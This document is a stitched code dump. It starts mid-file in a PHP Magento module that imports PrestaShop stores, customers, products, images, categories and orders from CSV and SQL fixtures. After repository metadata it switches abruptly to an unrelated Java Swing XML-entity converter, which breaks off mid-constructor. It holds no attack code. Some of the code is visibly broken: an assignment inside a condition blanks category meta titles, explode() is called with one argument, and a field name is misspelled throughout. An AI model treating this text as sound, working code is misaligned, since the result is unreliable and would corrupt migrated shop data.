$this->filesystemDriver->createDirectory($this->reportDirectoryPath);
}
/**
* Process filename by validate data & prepare data to import
*
* @param string $fileName
*/
protected function processFile($fileName)
{
$this->unsetLines();
$this->errorAggregator->clear();
try {
$this->fixtureManager->iterate(
$fileName,
function ($data, $index, $hasError) {
if ($hasError instanceof \Exception) {
$this->addErrors($hasError->getMessage());
$this->addErrors('File: ' . $hasError->getFile());
$this->addErrors('Line:' . $hasError->getLine());
}
if ($rowData = $this->validateData($data, $index)) {
$this->addLine($rowData);
}
}
);
} catch (\Exception $exception) {
$this->addErrors($exception->getMessage());
$this->addErrors('File: ' . $exception->getFile());
$this->addErrors('Line:' . $exception->getLine());
}
$this->afterProcess($fileName);
}
/**
* After process filename
*
* @param $fileName
*/
protected function afterProcess($fileName)
{
try {
// Check errors after import process
if ($this->errorAggregator->getErrorsCount() > 0) {
// Prepare log error file
$this->logger->pushHandler($this->initStream($fileName));
// Loop on all errors and write into log file
foreach ($this->errorAggregator->getAllErrors() as $error) {
if ($error->getRowNumber()) {
$errorLine = $error->getRowNumber() + $this->getFirstDataLine();
$this->logger->error("{$error->getErrorMessage()} in row {$errorLine}");
} else {
$this->logger->error($error->getErrorMessage());
}
}
$this->logger->popHandler($this->initStream($fileName));
// Rename the file which has error(s)
$this->filesystemDriver->rename(
$fileName,
$this->errorDirectoryPath . DIRECTORY_SEPARATOR . basename($fileName)
);
array_push($this->filesErrors, basename($fileName));
array_push(
$this->filesErrorsLinks,
$this->httpReportDirectoryPath . basename($fileName) . '.log'
);
} else {
// If no error
$this->saveData();
$this->filesystemDriver->rename(
$fileName,
$this->archiveDirectoryPath . DIRECTORY_SEPARATOR . basename($fileName)
);
}
} catch (\Exception $exception) {
$this->addErrors($exception->getMessage());
$this->addErrors('File: ' . $exception->getFile());
$this->addErrors('Line:' . $exception->getLine());
$this->afterProcess($fileName);
}
}
/**
* Get stream handle for file
*
* @param $fileName
*
* @return StreamHandler
*/
protected function initStream($fileName)
{
return new StreamHandler($this->reportDirectoryPath . DIRECTORY_SEPARATOR . basename($fileName) . '.log');
}
/**
* Returns the number of the first line wich contains data (the line 1 wich is the header)
*
* @return int
*/
protected function getFirstDataLine()
{
return 2;
}
/**
* Set flow input dir
*
* @param string $flowDir
*/
public function setFlowDir($flowDir)
{
$this->flowDir = $flowDir;
}
/**
* get flow input dir
*
* @return string
*/
public function getFlowDir()
{
return $this->flowDir;
}
/**
* Get all csv files
*
* @param $name
*
* @return \string[]
* @throws DirectoryIsEmptyException
*/
protected function getAllFiles($name)
{
$directory = $this->importDirectoryPath;
$files = $this->filesystemDriver->search(
$name . self::CSV_VALIDATION_PATTERN,
$directory
);
if (count($files) > 0) {
return $files;
} else {
throw new DirectoryIsEmptyException(
__('Repository "%1" is empty.', $directory)
);
}
}
/**
* Add errors to error aggregator
*
* @param string $code
* @param int $row
* @param int $col
*/
protected function addErrors($code, $row = null, $col = null)
{
$this->errorAggregator->addError(
$code,
ProcessingError::ERROR_LEVEL_CRITICAL,
$row,
$col
);
}
}
<file_sep>/src/Migration/Model/OrderItem.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Sales\Model\OrderFactory;
use Magento\Quote\Model\QuoteFactory;
use Magento\Framework\App\ObjectManager;
use \Magento\Quote\Model\QuoteManagement;
use Magento\Catalog\Model\ProductFactory;
/**
* Class OrderItem
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class OrderItem extends AbstractImport
{
/**
* @var array
*/
private $stores = array();
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
"order_id",
"quote_id",
"product_id",
"qty",
"product_price",
]
);
}
/**
* Save product
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$quoteFactory = $objectManager->get(QuoteFactory::class);
$productFactory = $objectManager->get(ProductFactory::class);
$quoteManagement = $objectManager->get(QuoteManagement::class);
foreach ($data as $row) {
$quote = $quoteFactory->create();
if (isset($row['quote_id'])) {
$quote = $quote->load($row['quote_id']);
}
$product = $productFactory->create()->load($row['product_id']);
$product->setPrice($row['product_price']);
$product->setFinalPrice($row['product_price']);
$quote->addProduct(
$product,
intval($row['qty'])
);
// Collect Totals & Save Quote
$quote->collectTotals()->save();
$order = $quoteManagement->submit($quote);
}
}
}
}
<file_sep>/fixtures/order_items.sql
SELECT
od.`id_order`,
o.`id_cart`,
`product_id`,
`product_quantity`,
`product_price`
FROM `ps_order_detail` AS od
LEFT JOIN ps_orders AS o ON o.id_order = od.id_order<file_sep>/src/Migration/Model/Stores.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Store\Model\StoreFactory;
use Magento\Framework\App\ObjectManager;
use Magento\Store\Model\ScopeInterface;
use Magento\Config\Model\Config\Backend\Admin\Custom;
use Magento\Config\Model\ResourceModel\Config;
/**
* Class Stores
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class Stores extends AbstractImport
{
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'name',
'code',
'locale'
]
);
$this->optionsResolver->setDefined(
[
'store_id'
]
);
$this->optionsResolver->setDefaults(
[
'is_active' => 1,
]
);
}
/**
* Save store
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$storeFactory = $objectManager->get(StoreFactory::class);
$resourceConfig = $objectManager->get(Config::class);
foreach ($data as $row) {
$store = $storeFactory->create();
if (isset($row['store_id'])) {
$store = $store->load($row['store_id']);
}
$store->setId($row['store_id']);
$store->setName($row['name']);
$store->setCode($row['code']);
$store->setWebsiteId(1);
$store->setGroupId(1);
$store->setIsActive($row['is_active']);
$store->save();
$storeLang = str_replace('-', '_', $row['locale']);
$resourceConfig->saveConfig(
Custom::XML_PATH_GENERAL_LOCALE_CODE,
$storeLang,
ScopeInterface::SCOPE_STORES,
$store->getId()
);
}
}
}
}
<file_sep>/src/Migration/Model/ImportInterface.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
/**
* Interface ImportInterface
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
interface ImportInterface
{
/**
* Resolver configuration
*/
public function configureOptions();
/**
* Validate data
*
* @param array $data
* @param int $index
*
* @return array
*/
public function validateData($data, $index);
/**
* Launch the save Data Process
*/
public function saveData();
}
<file_sep>/src/Migration/Exception/FileIsEmptyException.php
<?php
namespace Mimlab\PrestashopMigrationTool\Exception;
/**
* Class FileIsEmptyException
*
* @package Mimlab\PrestashopMigrationTool\Exception
*/
class FileIsEmptyException extends \Exception
{
}
<file_sep>/fixtures/catalog_products_child.sql
SELECT
prd.id_product,
catprd.id_category
FROM
ps_product AS prd
LEFT JOIN ps_category_product AS catprd ON catprd.id_product = prd.id_product<file_sep>/src/Migration/Model/Customer.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Customer\Model\CustomerFactory;
use Magento\Framework\App\ObjectManager;
use Magento\Store\Model\StoreRepository;
use Magento\Newsletter\Model\SubscriberFactory;
/**
* Class Customer
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class Customer extends AbstractImport
{
/**
* @var array
*/
private $stores = array();
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'customer_id',
'email',
'fisrtname',
'lastname',
'gender',
'dob'
]
);
$this->optionsResolver->setDefined(
[
'newsletter',
'password'
]
);
$this->optionsResolver->setDefaults(
[
'store' => 0,
]
);
}
/**
* Define allowed value for store
*/
protected function configureAllowedValuesForStoreOptions()
{
$this->optionsResolver->setAllowedValues(
'store',
function ($value) {
return $this->checkCodeOrIdAreCorrect($value);
}
);
}
/**
* Check if the code or id are correct
*
* @param string|int $code
*
* @return bool
*/
protected function checkCodeOrIdAreCorrect($code)
{
if (!$code || $code == "") {
return true;
}
return (bool)$this->getStoreIdFromCode($code);
}
/**
* Get store from code
*
* @param string|int $code
*
* @return int|null
*/
protected function getStoreIdFromCode($code)
{
if (!$code) {
$this->stores[$code] = 0;
}
if (!isset($this->stores[$code])) {
$objectManager = ObjectManager::getInstance();
$storeRepository = $objectManager->get(StoreRepository::class);
if (is_integer($code)) {
$store = $storeRepository->getById($code);
} else {
$store = $storeRepository->get($code);
}
if ($store->getId()) {
$this->stores[$code] = $store->getId();
}
}
return $this->stores[$code];
}
/**
* Save product
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$customerFactory = $objectManager->get(CustomerFactory::class);
$subscriberFactory = $objectManager->get(SubscriberFactory::class);
foreach ($data as $row) {
$customer = $customerFactory->create();
if (isset($row['customer_id'])) {
$customer = $customer->load($row['customer_id']);
}
$row['store'] = $this->getStoreIdFromCode($row['store']);
$groupId = $this->storeManager->getStore($row['store'])->getStoreGroupId();
$websiteId = $this->storeManager->getGroup($groupId)->getWebsiteId();
$customer->setData($row);
$customer->setId($row['customer_id']);
$customer->setFirstname($row['fisrtname']);
$customer->setWebsiteId($websiteId);
$customer->save();
if (isset($row['newsletter']) && $row['newsletter'] == 1) {
$subscriberFactory->create()->subscribeCustomerById($customer->getId());
}
}
}
}
}
<file_sep>/fixtures/catalog_categories.sql
SELECT
cat.id_parent,
l.language_code,
cat.id_category,
catl.name,
cat.level_depth,
cat.position,
catl.description,
catl.link_rewrite,
cat.active,
catl.meta_title,
catl.meta_keywords,
catl.meta_description,
cat.is_root_category
FROM
ps_category AS cat
LEFT JOIN ps_category_lang AS catl ON cat.id_category = catl.id_category
LEFT JOIN ps_lang AS l ON l.id_lang = catl.id_lang<file_sep>/src/Migration/Model/FixtureManager.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Framework\Exception\NotFoundException;
use Magento\Framework\File\Csv;
use Magento\Framework\Setup\SampleData\FixtureManager as FrameworkFixtureManager;
use Mimlab\PrestashopMigrationTool\Api\FixtureManagerInterface;
use Mimlab\PrestashopMigrationTool\Exception\FileIsEmptyException;
/**
* Class FixtureManager
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class FixtureManager implements FixtureManagerInterface
{
/**
* @var FrameworkFixtureManager
*/
private $fixtureManager;
/**
* @var Csv
*/
private $csvReader;
/**
* FixtureManager constructor.
*
* @param FrameworkFixtureManager $fixtureManager
* @param Csv $csvReader
*/
public function __construct(
FrameworkFixtureManager $fixtureManager,
Csv $csvReader
) {
$this->fixtureManager = $fixtureManager;
$this->csvReader = $csvReader;
}
/**
* Install fixture from a file
*
* @param $fileName
* @param callable $callback
*
* @throws NotFoundException
* @throws \Exception
*/
public function iterate($fileName, callable $callback)
{
try {
$fileName = $this->fixtureManager->getFixture($fileName);
if (file_exists($fileName)) {
$data = $this->csvReader->getData($fileName);
$header = array_shift($data);
if (count($data) > 0) {
foreach ($data as $index => $row) {
if(count($header) != count($row)) {
if (count($row) > 0) {
$callback([], [], new \Exception(
__('Line non conforme avec le header in line %1', ($index + 1))
));
}
continue;
}
$rowData = array_combine($header, $row);
// Call the callback function
$callback($rowData, $index, false);
}
} else {
throw new FileIsEmptyException(
__('Failed to read "%1" because file is empty.', $fileName)
);
}
} else {
throw new NotFoundException(
__('Failed to read "%1" because file does not exist.', $fileName)
);
}
} catch (\Exception $exception) {
$callback([], [], $exception);
}
}
}
<file_sep>/src/Migration/Model/CustomerAddress.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Customer\Model\AddressFactory;
use Magento\Framework\App\ObjectManager;
/**
* Class Customer
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class CustomerAddress extends AbstractImport
{
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'address_id',
'customer_id',
'fisrtname',
'lastname',
'street1',
'postcode',
'country_id',
'city',
'telephone',
]
);
$this->optionsResolver->setDefined(
[
'street2',
'company',
'state'
]
);
$this->optionsResolver->setDefaults(
[
'is_default_billing' => 0,
'is_default_shipping' => 0
]
);
}
/**
* Save product
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$addressFactory = $objectManager->get(AddressFactory::class);
foreach ($data as $row) {
$address = $addressFactory->create();
$address->setData($row);
$address->setFirstname($row['fisrtname']);
$address->setCustomerId($row['customer_id']);
$address->setStreet(sprintf("%s %s", $row['street1'], $row['street2']));
$address->save();
}
}
}
}
<file_sep>/fixtures/customer_address.sql
SELECT
addr.`id_address`,
addr.`id_customer`,
addr.`firstname`,
addr.`lastname`,
addr.`company`,
addr.`phone`,
addr.`address1`,
addr.`address2`,
addr.`postcode`,
country.`iso_code`,
state.`name`,
addr.`city`
FROM `ps_address` AS addr
LEFT JOIN ps_country AS country ON addr.id_country = country.id_country
LEFT JOIN ps_state AS state ON addr.id_state = state.id_state
WHERE addr.`deleted` = 0 AND addr.`id_customer` != 0<file_sep>/fixtures/stores_view.sql
select id_lang,name,language_code,active,locale from ps_lang<file_sep>/src/Migration/Model/Product.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Catalog\Model\ProductFactory;
use Magento\Framework\App\ObjectManager;
use Magento\Store\Model\StoreRepository;
//
/**
* Class Product
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class Product extends AbstractImport
{
/**
* @var array
*/
private $stores = array();
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'sku',
'name',
'description',
'short_description',
'url_key',
'status',
'weight',
'visibility',
'price',
]
);
$this->optionsResolver->setDefined(
[
'product_id',
'tax_class_id',
'type_id',
'cost',
'qty',
'min_sale_qty',
'is_in_stock',
'meta_title',
'meta_keywords',
'meta_description',
'categories',
'backorders'
]
);
$this->optionsResolver->setDefaults(
[
'store' => 0,
'attribute_set_id' => $this->getDefaultAttributeSetId()
]
);
$this->configureAllowedValuesForStoreOptions();
}
/**
* Define allowed value for store
*/
protected function configureAllowedValuesForStoreOptions()
{
$this->optionsResolver->setAllowedValues(
'store',
function ($value) {
return $this->checkCodeOrIdAreCorrect($value);
}
);
}
/**
* Check if the code or id are correct
*
* @param string|int $code
*
* @return bool
*/
protected function checkCodeOrIdAreCorrect($code)
{
if (!$code || $code == "" || $code == "NULL") {
return true;
}
return (bool)$this->getStoreIdFromCode($code);
}
/**
* Retrieve default attribute set id
*
* @return int
*/
public function getDefaultAttributeSetId()
{
$objectManager = ObjectManager::getInstance();
$productFactory = $objectManager->get(ProductFactory::class);
return $productFactory->create()->getResource()->getEntityType()->getDefaultAttributeSetId();
}
/**
* Get store from code
*
* @param string|int $code
*
* @return int|null
*/
protected function getStoreIdFromCode($code)
{
if (!$code || $code == "" || $code == "NULL") {
$this->stores[$code] = 0;
}
if (!isset($this->stores[$code])) {
$objectManager = ObjectManager::getInstance();
$storeRepository = $objectManager->get(StoreRepository::class);
if (is_integer($code)) {
$store = $storeRepository->getById($code);
} else {
$store = $storeRepository->get($code);
}
if ($store->getId()) {
$this->stores[$code] = $store->getId();
}
}
return $this->stores[$code];
}
/**
* Save product
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$productFactory = $objectManager->get(ProductFactory::class);
foreach ($data as $row) {
$this->prepareData($row);
$row['store'] = $this->getStoreIdFromCode($row['store']);
$this->emulation->startEnvironmentEmulation($row['store']);
$product = $productFactory->create();
if (isset($row['product_id'])) {
$product = $product->load($row['product_id']);
}
if (isset($row['backorders'])) {
$row['use_config_backorders'] = 0;
}
if (isset($row['qty'])) {
$row['use_config_manage_stock'] = 0;
$row['manage_stock'] = 1;
}
$row['url_key'] = sprintf('%s-%s', $row['product_id'], $row['url_key']);
$groupId = $this->storeManager->getStore($row['store'])->getStoreGroupId();
$websiteId = $this->storeManager->getGroup($groupId)->getWebsiteId();
$product->setData($row);
$product->setId($row['product_id']);
$product->setWebsiteIds([$websiteId]);
$product->setStockData($row);
$product->save();
$this->emulation->stopEnvironmentEmulation();
}
}
}
}
<file_sep>/src/Migration/Model/ProductMedia.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Catalog\Model\Product;
use Magento\Catalog\Model\ProductFactory;
use Magento\Framework\App\Filesystem\DirectoryList;
use Magento\Framework\App\ObjectManager;
/**
* Class ProductMedia
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class ProductMedia extends AbstractImport
{
/**
* Temporary media folder
*/
const DIR_TMP_PATH = 'tmp';
/**
* @var array
*/
private $products = [];
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'product_id',
'image'
]
);
$this->optionsResolver->setDefined(
[
'cover',
]
);
$this->configureAllowedValuesInProductOptions();
}
/**
* Define allowed value for store
*/
protected function configureAllowedValuesInProductOptions()
{
$this->optionsResolver->setAllowedValues(
'product_id',
function ($value) {
return $this->getProductById($value);
}
);
}
/**
* Get Product by id
*/
protected function getProductById($id)
{
if (!isset($this->products[$id])) {
$objectManager = ObjectManager::getInstance();
$productFactory = $objectManager->get(ProductFactory::class);
if ($product = $productFactory->create()->load($id)) {
return $this->products[$id] = $product;
} else {
return 0;
}
}
return $this->products[$id];
}
/**
* Save product media
*/
public function saveData()
{
$this->createMediaDirTmpDir();
$tmpDir = $this->getMediaDirTmpDir();
$data = $this->getLines();
if (count($data)) {
foreach ($data as $row) {
$product = $this->getProductById($row['product_id']);
if ($product) {
$result = $tmpDir.basename($row['image']);
$this->filesystemDriver->copy($row['image'], $result);
if ($row['cover'] == 1) {
$mediaAttribute = ['image' ,'thumbnail', 'small_image'];
$exclude = false;
} else {
$mediaAttribute = '';
$exclude = true;
}
$product->addImageToMediaGallery($result, $mediaAttribute, true, $exclude);
$product->save();
}
}
}
$this->removeMediaDirTmpDir();
}
/**
* Get Media directory name for the temporary file storage
* pub/media/tmp
*
* @return string
*/
protected function getMediaDirTmpDir()
{
return $this->filesystem->getDirectoryRead(DirectoryList::MEDIA)
->getAbsolutePath(self::DIR_TMP_PATH) . DIRECTORY_SEPARATOR;
}
/**
* Create Media directory
*/
protected function createMediaDirTmpDir()
{
$tmpDir = $this->getMediaDirTmpDir();
$this->filesystemDriver->createDirectory($tmpDir);
}
/**
* Remove Media directory
*/
protected function removeMediaDirTmpDir()
{
$tmpDir = $this->getMediaDirTmpDir();
$this->filesystemDriver->deleteDirectory($tmpDir);
}
}
<file_sep>/src/Migration/Model/ProductCategory.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Catalog\Model\ProductFactory;
use Magento\Framework\App\ObjectManager;
/**
* Class ProductCategory
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class ProductCategory extends AbstractImport
{
/**
* @var array
*/
private $products = [];
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'product_id',
'category_id'
]
);
$this->configureAllowedValuesInProductOptions();
}
/**
* Define allowed value for store
*/
protected function configureAllowedValuesInProductOptions()
{
$this->optionsResolver->setAllowedValues(
'product_id',
function ($value) {
return $this->getProductById($value);
}
);
}
/**
* Get Product by id
*/
protected function getProductById($id)
{
if (!isset($this->products[$id])) {
$objectManager = ObjectManager::getInstance();
$productFactory = $objectManager->get(ProductFactory::class);
if ($product = $productFactory->create()->load($id)) {
return $this->products[$id] = $product;
} else {
return 0;
}
}
return $this->products[$id];
}
/**
* Save product category
*/
public function saveData()
{
$data = $this->getLines();
if (count($data)) {
$categories = [];
foreach ($data as $row) {
$product = $this->getProductById($row['product_id']);
if ($product) {
$categories = (array)$product->getCategoryIds();
array_push($categories, $row['category_id']);
$product->setCategoryIds($categories);
$product->save();
}
}
}
}
}
<file_sep>/src/Migration/Api/FixtureManagerInterface.php
<?php
namespace Mimlab\PrestashopMigrationTool\Api;
use Magento\Framework\Exception\NotFoundException;
/**
* Interface FixtureManagerInterface
*
* @package Mimlab\PrestashopMigrationTool\Api
*/
interface FixtureManagerInterface
{
/**
* Install fixture from a file
*
* @param $fileName
* @param callable $callback
*
* @throws NotFoundException
* @throws \Exception
*/
public function iterate($fileName, callable $callback);
}
<file_sep>/src/Migration/Model/Categories.php
<?php
namespace Mimlab\PrestashopMigrationTool\Model;
use Magento\Catalog\Model\CategoryFactory;
use Magento\Framework\App\ObjectManager;
use Magento\Store\Model\StoreRepository;
/**
* Class Categories
*
* @package Mimlab\PrestashopMigrationTool\Model
*/
class Categories extends AbstractImport
{
/**
* @var int
*/
private $urlKeyId = 1;
/**
* @var array
*/
private $categories = array();
/**
* @var array
*/
private $parentsCategories = array();
/**
* @var array
*/
private $stores = array();
/**
* Resolver configuration
*/
public function configureOptions()
{
$this->optionsResolver->setRequired(
[
'name',
'description',
'url_key'
]
);
$this->optionsResolver->setDefined(
[
'category_id',
'path',
'level',
'meta_title',
'meta_keywords',
'meta_description',
]
);
$this->optionsResolver->setDefaults(
[
'include_in_menu' => 1,
'parent_id' => 0,
'position' => 0,
'is_anchor' => 1,
'is_active' => 1,
'display_mode' => 'PRODUCTS',
'page_layout' => '1column',
'meta_keywords' => '',
'meta_description' => '',
'store' => 0,
'is_root_category' => 0
]
);
$this->configureAllowedValuesForStoreOptions();
}
/**
* Define allowed value for store
*/
protected function configureAllowedValuesForStoreOptions()
{
$this->optionsResolver->setAllowedValues(
'store',
function ($value) {
return $this->checkCodeOrIdAreCorrect($value);
}
);
}
/**
* Check if the code or id are correct
*
* @param string|int $code
*
* @return bool
*/
protected function checkCodeOrIdAreCorrect($code)
{
if (!$code || $code == "" || $code == "NULL") {
return true;
}
return (bool)$this->getStoreIdFromCode($code);
}
/**
* Get store from code
*
* @param string|int $code
*
* @return int|null
*/
protected function getStoreIdFromCode($code)
{
if (!$code || $code == "" || $code == "NULL") {
$this->stores[$code] = 0;
}
if (!isset($this->stores[$code])) {
$objectManager = ObjectManager::getInstance();
$storeRepository = $objectManager->get(StoreRepository::class);
if (is_integer($code)) {
$store = $storeRepository->getById($code);
} else {
$store = $storeRepository->get($code);
}
if ($store->getId()) {
$this->stores[$code] = $store->getId();
}
}
return $this->stores[$code];
}
/**
* Prepare row
*
* @param array $row
*/
protected function prepareData(&$row)
{
if (!isset($row['meta_title']) || $row['meta_title'] = '') {
$row['meta_title'] = $row['name'];
}
if (!isset($row['level'])) {
$row['level'] = count(explode('/'.$row['path'])) - 1;
}
}
/**
* Save categorie
*/
public function saveData()
{
$prestaCats = [];
$data = $this->getLines();
if (count($data)) {
$objectManager = ObjectManager::getInstance();
$categoryFactory = $objectManager->get(CategoryFactory::class);
$categoryRepository = $objectManager->get(\Magento\Catalog\Api\CategoryRepositoryInterface::class);
foreach ($data as $row) {
$this->urlKeyId = 1;
$row['store'] = $this->getStoreIdFromCode($row['store']);
$row['presta_id'] = $row['category_id'];
$row['url_key'] = $row['presta_id'] . '-' . $row['url_key'];
unset($row['category_id']);
$this->emulation->startEnvironmentEmulation($row['store']);
$category = $categoryFactory->create();
if (isset($row['presta_id']) && isset($this->categories[$row['presta_id']])) {
try {
$category = $categoryRepository->get($this->categories[$row['presta_id']], $row['store']);
} catch (\Exception $e) {
}
}
if (!$category->getId()) {
$this->prepareData($row);
$category->setIsActive($row['is_active']);
$category->setStoreId($row['store']);
$category->setLevel($row['level']);
$category->setCustomAttributes($row);
if (isset($row['parent']) && $prestaCats[$row['parent']]) {
$parent = $prestaCats[$row['parent']];
} else {
$parent = 2;
}
$parentCategory = $categoryRepository->get($parent, 0);
$category->setPath($parentCategory->getPath());
$category->setParentId($parent);
}
$category->setMetaTitle($row['meta_title']);
$category->setMetaKeywords($row['meta_keywords']);
$category->setMetaDescription($row['meta_description']);
$category->setName($row['name']);
$category->setDescription($row['description']);
$category->setPrestaId($row['presta_id']);
$this->saveCategoryWithUrlKey($category, $row['url_key'], $row['url_key']);
if ($category && $category->getId()) {
$this->categories[$row['presta_id']] = $category->getId();
$this->parentsCategories[$row['presta_id']] = $row['parent_id'];
if ($row['is_root_category'] == 1) {
$groupId = $this->storeManager->getStore($row['store'])->getStoreGroupId();
$this->storeManager->getGroup($groupId)->setRootCategoryId($category->getId());
}
}
$this->emulation->stopEnvironmentEmulation();
}
foreach($this->categories as $prestaCatId => $cat) {
$magentoCategory = $categoryRepository->get($cat, 0);
if (isset($this->parentsCategories[$prestaCatId]) && isset($this->categories[$this->parentsCategories[$prestaCatId]])) {
$parentInMagento = $this->categories[$this->parentsCategories[$prestaCatId]];
$magentoCategory->setParentId($parentInMagento);
}
$parentCategory = $categoryRepository->get($magentoCategory->getParentId(), 0);
$magentoCategory->setPath($parentCategory->getPath() . '/' . $magentoCategory->getId());
$magentoCategory->save();
}
}
}
/**
* Save the category with defined urlkey
*
* @param Category $category
* @param string $urlKey
* @param string $oldUrlKey
*/
private function saveCategoryWithUrlKey(&$category, $urlKey, $oldUrlKey)
{
$objectManager = ObjectManager::getInstance();
$categoryRepository = $objectManager->get(\Magento\Catalog\Api\CategoryRepositoryInterface::class);
try {
$category->setRequestPath($urlKey);
$category->setUrlKey($urlKey);
$category = $categoryRepository->save($category);
} catch (\Exception $e) {
if ($e->getMessage() == 'Could not save category: URL key for specified store already exists.') {
$urlKey = sprintf('%s-%d', $oldUrlKey, $this->urlKeyId);
$this->urlKeyId++;
$prestaId = $category->getData('presta_id');
if (!isset($this->categories[$prestaId])) {
$category->unsetData('entity_id');
}
$this->saveCategoryWithUrlKey($category, $urlKey, $oldUrlKey);
}
}
}
}
<file_sep>/src/Migration/Exception/DirectoryIsEmptyException.php
<?php
namespace Mimlab\PrestashopMigrationTool\Exception;
/**
* Class DirectoryIsEmptyException
*
* @package Mimlab\PrestashopMigrationTool\Exception
*/
class DirectoryIsEmptyException extends \Exception
{
}
<file_sep>/src/Migration/Setup/InstallData.php
<?php
namespace Mimlab\PrestashopMigrationTool\Setup;
use Magento\Catalog\Model\Category;
use Magento\Eav\Model\Entity\Attribute\ScopedAttributeInterface;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Framework\Setup\{
ModuleContextInterface,
ModuleDataSetupInterface,
InstallDataInterface
};
/**
* Class InstallData
*
* @package Mimlab\PrestashopMigrationTool\Setup
*/
class InstallData implements InstallDataInterface
{
/**
* @var EavSetupFactory
*/
protected $eavSetupFactory;
/**
* InstallData constructor.
*
* @param EavSetupFactory $eavSetupFactory
*/
public function __construct(
EavSetupFactory $eavSetupFactory
) {
$this->eavSetupFactory = $eavSetupFactory;
}
/**
* Install data for a module
*
* @param ModuleDataSetupInterface $setup
* @param ModuleContextInterface $context
*
* @return void
*/
public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
{
$setup->startSetup();
$eavSetup = $this->eavSetupFactory->create(['setup' => $setup]);
$eavSetup->addAttribute(
Category::ENTITY, 'presta_id', [
'type' => 'int',
'label' => 'Prestashop Id',
'input' => 'input',
'visible' => true,
'default' => '0',
'required' => false,
'global' => ScopedAttributeInterface::SCOPE_GLOBAL
]
);
$setup->endSetup();
}
}
|
4f0577d0608362f3f69ac2d311139470fd5ddb19
|
[
"SQL",
"PHP"
] | 20
|
PHP
|
WENKz/magento2-prestashop-migration-tools
|
383bba07b75e11d9002f0094a9520caa5d3ed9a2
|
dfc4a5aa365c68e9c6aa5616c2101b527bec8aea
|
refs/heads/master
|
<repo_name>rafe721/do_your_thaang<file_sep>/src/com/xmlSymbolsConverter/stringOperationCheckers/ReplaceTester.java
package com.xmlSymbolsConverter.stringOperationCheckers;
public class ReplaceTester {
/**
* @param args
*/
public static void main(String[] args)
{
// TODO Auto-generated method stub
String text = "" < > " < > " < > \"";
text=text.replaceAll(""", "\"");
text=text.replaceAll("<", "<");
text=text.replaceAll(">", ">");
System.out.println(text);
}
}
<file_sep>/src/com/xmlSymbolsConverter/controller/XSCController.java
package com.xmlSymbolsConverter.controller;
import java.awt.BorderLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.UIManager;
import javax.swing.text.BadLocationException;
import com.sun.java.swing.plaf.windows.WindowsLookAndFeel;
import com.xmlSymbolsConverter.components.StatusBar;
import com.xmlSymbolsConverter.components.TabbedTextPanel;
import com.xmlSymbolsConverter.examples.ButtonTabComponent;
import com.xmlSymbolsConverter.util.HTMLEntityResolver;
import com.xmlSymbolsConverter.util.XMLLanguageFormatter;
public class XSCController extends JFrame implements ActionListener, Runnable
{
/**
*
*/
private static final long serialVersionUID = 1L;
JMenuBar menuBar;
JMenu fileMenu;
JMenuItem newAction;
JMenuItem openAction;
JMenuItem saveAction;
JMenuItem exitAction;
JMenu editMenu;
JMenuItem cutAction;
JMenuItem copyAction;
JMenuItem pasteAction;
JMenuItem convertAction;
JMenu formatMenu;
JMenuItem fontAction;
JMenu languageMenu;
JMenuItem xmlAction;
ButtonTabComponent aButtonTab;
JTabbedPane tabbedPane;
JScrollPane scrollPane;
JFileChooser fileChooser;
StatusBar statusBar;
int tabCount = 1;
public XSCController()
{
super("Do your thaang,.. :)");
this.setLocation(200, 200);
this.setSize(800,500);
initMenu();
this.setLayout(new BorderLayout());
tabbedPane = new JTabbedPane();
TabbedTextPanel textPanel = new TabbedTextPanel();
// System.out.println("tabCount : "+tabCount);
tabbedPane.addTab("new page #"+tabCount++,textPanel);
initTabComponent();
this.add(tabbedPane, "Center");
statusBar = new StatusBar();
this.add(statusBar, "South");
fileChooser = new JFileChooser();
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
